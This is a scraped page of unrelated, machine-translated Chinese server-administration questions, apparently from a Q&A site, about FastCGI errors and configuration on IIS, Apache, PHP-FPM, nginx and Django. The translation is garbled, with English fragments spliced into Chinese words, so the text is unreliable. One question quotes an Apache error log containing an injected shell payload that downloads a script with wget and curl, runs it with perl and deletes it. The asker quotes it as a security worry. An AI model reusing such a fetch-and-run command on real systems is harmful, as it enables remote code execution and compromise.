我有一个问题,我希望你的专家能真正帮我find根本原因。 我得到随机页面超时(这performance为500错误),我找不到根本原因。 PHP版本: PHP 5.5.12 (cli) (built: Apr 30 2014 11:20:11) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies IIS版本: Version 7.5.7600.16385 FastCGI的: C:\Users\lock>%windir%\system32\inetsrv\appcmd list config -section:system.webSe rver/fastCgi <system.webServer> <fastCgi> <application fullPath="C:\php5\php-cgi.exe" activityTimeout="700"> <environmentVariables> </environmentVariables> </application> </fastCgi> </system.webServer> 我已经打开了失败的请求日志,我得到以下随机页面: C:\php5\php-cgi.exe – The FastCGI process exceeded configured activity timeout 所用时间是700007毫秒 […]
我为用户“bob”设置了一个chroot监狱。 bob位于/ var / jails / bob Bob有一个位于/var/jails/bob/bobssite.com/public_html的网站 一切似乎工作到目前为止,包括这一事实,该进程是与鲍勃的uid运行(检查与PHP“exec('whoami')),也就是说,直到我设置在php5-fpmconfiguration文件中的bob的站点chroot /etc/php5/fpm/pool.d/bobssite.com.conf): [bobssite.com] ; Per pool prefix ; It only applies on the following directives: ; – 'slowlog' ; – 'listen' (unixsocket) ; – 'chroot' ; – 'chdir' ; – 'php_values' ; – 'php_admin_values' ; When not set, the global prefix (or /usr) applies instead. ; Note: […]
我在CentOS 6.5和Apache 2.2.15上运行Prestashop安装。 前段时间,我更新了Apache,并失去了通过Prestashop后台上传产品图像以及其他问题(如Prestashop安装中的caching文件夹的权限问题)的能力。 我的Prestashop安装文件夹和文件被设置为user1:psacln,我想我的Apache被设置为在这个用户和组运行之前,我更新它。 但是,现在,Apache被设置为使用apache:apache运行,并且我认为这是导致问题的原因。 但是,当我更改Apache作为user1运行:psacln我在/ var / log / httpd / error_log中得到这些错误: [error] (13)Permission denied: mod_fcgid: couldn't bind unix domain socket /var/run/mod_fcgid/sock/20507.202 [warn] (13)Permission denied: mod_fcgid: spawn process /var/www/cgi-bin/cgi_wrapper/cgi_wrapper error 我试着设置chown -R user1:psacln / var / run / mod_fcgid,但在此之后,当连接到站点时,出现内部服务器错误500。 因此,我想我真正的问题是,除了httpd.conf(用户,组)之外,我还需要在哪里进行更改才能使用FastCGI正确地打勾?
我在我的Web服务器上使用Apache和PHP-FPM。 当用户input一些Apache传递给proxy-fcgi的随机path名,并且找不到文件时,错误日志中将logging一个标准错误: AH01071: Got error 'Primary script unknown\n' 但是,在某些情况下,我从我的网站的一个随机页面中获得一大块HTML,如下所示: AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na….. 所以: AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td…. 我真的很担心,今天看到这样的事情: AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de…. 我认为这是一个cookie值散布在随机的HTML块。 有没有人遇到过这种现象? 可以做些什么来阻止随机的HTML和cookie被附加到错误消息?
我在windows-server 2012上使用FastCGI与IIS 8。服务器托pipe一个基于Django的网站。 该网站工作正常,直到我streamvideo(这是保存在服务器上的媒体文件夹,是webm文件)。 FireFox不渲染任何东西,它继续传输数据,最后出现错误“video播放因networking错误而中止” 。 然而,在Chrome上,video播放,但几秒钟,然后停止。 在控制台中,我可以看到错误“无法加载资源:net :: ERR_CONNECTION_RESET” 。 我在heroku上有相同的应用程序,工作正常。 我似乎没有得到什么问题与我的服务器上的设置。 ps我认为这与防火墙有关。 当连接需要很长时间时,防火墙会截断它。
我已经阅读了很多关于它的主题,但是解决不了我的问题。 从APache移动到Nginx后,我不能设置重写来处理我的论坛友好的url。 我的论坛位于虚拟服务器的/论坛/位置。 我想要做的就是将/forum/thred-something.html&someaction重写到/forum/showthread.php?tid=ID&action=someaction 我使用这个插件进行名称到ID的转换: https : //github.com/frostschutz/MyBB-Google-SEO 这就是我的虚拟服务器本地化configuration看起来像: server { server_name www.podziemieopowiadan.pl; listen 80; return 301 http://podziemieopowiadan.pl/index.php; } server { server_name podziemieopowiadan.pl; listen 80; access_log /var/log/nginx/podziemieopowiadan-pl_access_log; error_log /var/log/nginx/podziemieopowiadan-pl_error_log; root /var/www/domains/podziemieopowiadan-old; index index.php; allow 188.127.246.50; allow 188.127.242.122; allow 204.93.240.0; allow 204.93.177.0; allow 199.27.128.0; allow 173.245.48.0; allow 103.21.244.0; allow 103.22.200.0; allow 103.31.4.0; allow 141.101.64.0; allow 108.162.192.0; […]
假设我有一个nginx服务器,Django应用程序设置为“/ djangoapps / exampleapp1 /”和“/ djangoapps / exampleapp2 /”。 假设我刚刚注册了一个域名“www.exampleapp2.com”。 如何将www.exampleapp2.com指向我的django应用程序? 从阅读nginx文档看来,如果我只是在提供静态文件,这似乎是相当简单的。 一旦我扔进Django,它就变得困难了。 我的nginxconfiguration看起来像这样: server { server_name www.exampleapp2.com; location / { # What do I put here? } } server { root /var/www; location /djangoapps { include fastcgi_params; fastcgi_pass 127.0.0.1:8080; fastcgi_split_path_info ^()(.*)$; } }
我正在尝试在子域accounts.mysite.com(DO Droplet)的服务器上设置一个django(mod-wsgi)应用程序。 当我尝试重新加载Apache时,出现以下错误: AH00526: Syntax error on line 2 of /etc/apache2/sites-enabled/dev.mysite.com.conf: SuexecUserGroup configured, but suEXEC is disabled: Invalid owner or file mode for /usr/lib/apache2/suexec 我最初并没有设置这个,所以我在“我不想打破它”的心态 – 也许是太谨慎了。 这就是说,我想通过serverfault运行configuration,看看是否有什么突出的 – 我有几年没有与fcgi工作,它看起来对我好,但有多个simlinks。 而原来的开发似乎是由用户/组ID设置suexec组。 / usr / lib / apache2 / suexec具有以下chmod设置: lrwxrwxrwx 1 root root 24 Aug 25 2014 suexec -> /etc/alternatives/suexec 这把我带到这里 lrwxrwxrwx 1 root root […]
是否有可能让Apache或nginx 只接受固定客户端证书,并将有关客户端证书的知识传递给FastCGI响应处理程序?
我只是从IIS 5跨越到IIS 8.5。 我在安装ISAPIfilter和FastCGI时遇到了麻烦,但是我设法使所有的工作都能正常工作。 我现在面临的唯一问题是所有.html页面会给我一个500错误。 在这里下面是错误: FastCGI错误FastCGI处理程序无法处理请求。 错误详情: 处理configuration文件时发生错误。 错误编号:2(0x80070002)。 错误说明:系统找不到指定的文件。 我有安装的静态内容。 即使我在这里只有一个头和身体标签“Hello World”,它会给我这个错误。 所有PHP和JS文件都正常工作。 我希望你们有些人可以提供我能做的事情。 我很想完成这个.. 非常感谢, 萨尔瓦多